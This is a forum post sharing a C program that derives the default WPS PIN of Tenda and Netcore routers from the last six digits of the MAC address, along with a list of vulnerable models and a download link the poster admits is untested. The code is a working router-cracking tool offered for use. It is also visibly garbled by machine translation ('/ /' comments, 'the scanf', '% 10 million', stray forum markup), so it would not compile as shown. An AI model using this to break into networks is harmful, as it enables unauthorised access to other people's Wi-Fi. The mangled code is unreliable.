Windows Tenda / Netcore Default WPS Algorithm

If your router starts with the following MAC addresses C8:3A:35, or 00:B0:0C software can be used to crack the default WPS pin. A user can directly draw the PIN key without the need for Reaver. This is a Windows executable.

Vulnerable devices include Netcore NW705P, NW705S, NW705+, NW714, NW702, NW712, W150M and NW709.

Source code download click here for the compressed package. I have not tested it nor can I deem this download safe or effective. I found this information at http://wifibeta.com/

​

MD5: 512e588f9cb153109863892e124672f5

Code:

Select All

/ / Computes PIN code starts with the OUI "C83A35 and the" 00B00C "
/ / Both two OUIs which belonged to Tenda Technology Co., Ltd. are confirmed effectively.
/ / Coded by Zhaochunsheng - iBeini.com
/ / the Modified by Lingxi - WiFiBETA. COM
# Include <stdio.h>
# include <stdlib.h>
int main ()
{
unsigned int wps_pin_checksum (unsigned int pin);
int PIN = 0;
/ / Printf ("ComputePIN-C83A35 \ n");
printf ("Description: \ n");
printf ("If your of wireless router MAC address start with \" C83A35 \ "or \" 00B00C \ ", \ n") ;
printf ("type the other six digits, you might be able to get the \ n");
printf ("WPS-PIN of this equipment, please have a the try, good luck! \ n \ n");
printf (" Code by ZhaoChunsheng 04/07/2012 [URL='http://ibeini.com/n/n%22);'][COLOR=#8ba612]http://iBeini.com \ n \ n "); [/URL]
printf ("the Modified by Lingxi - WiFiBETA.COM \ n \ n");
/ / Translated TO Chinese
of printf ("Note: \ n ");
printf ("If your wireless router MAC address" C83A35 "or" 00B00C "starts with \ n");
printf ("enter the MAC address after six (not case-sensitive) you may be able to get the routing WPS PIN key! \ n ");
printf ("I wish you good luck! \ n \ n");
printf ("write by Zhao Chunsheng on April 7, 2012  [URL='http://ibeini.com/n%22);']Http :/ / iBeini.com \ n " );
printf ("to modify Speaking WiFiBETA.COM Ling Xi \ n \ n");
printf ("Please enter the six MAC address (HEX): \ n");
printf ("the Input the last 6 digits of the MAC Address (HEX): ");
the scanf ("% x", & PIN);
printf ("You entered after six MAC address is% X \ n", the PIN);
printf (the "Last 6 digits of the MAC Address (HEX ) are:% X \ n ", the PIN);
printf ("WPS PIN is:% 07d% d \ n" PIN% 10 million, wps_pin_checksum (PIN% 10 million));
return 0;
}
unsigned int wps_pin_checksum (unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum + = 3 * (pin% 10);
pin / = 10;
accum + = pin 10;
pin / = 10;
}
return (10 - accum% 10)% 10;
}

 

@GeekDeveloper has determined that the Tenda algorithm works with the first 4 digits and can fail with the last 4. See this post: Default WPS Pin Generator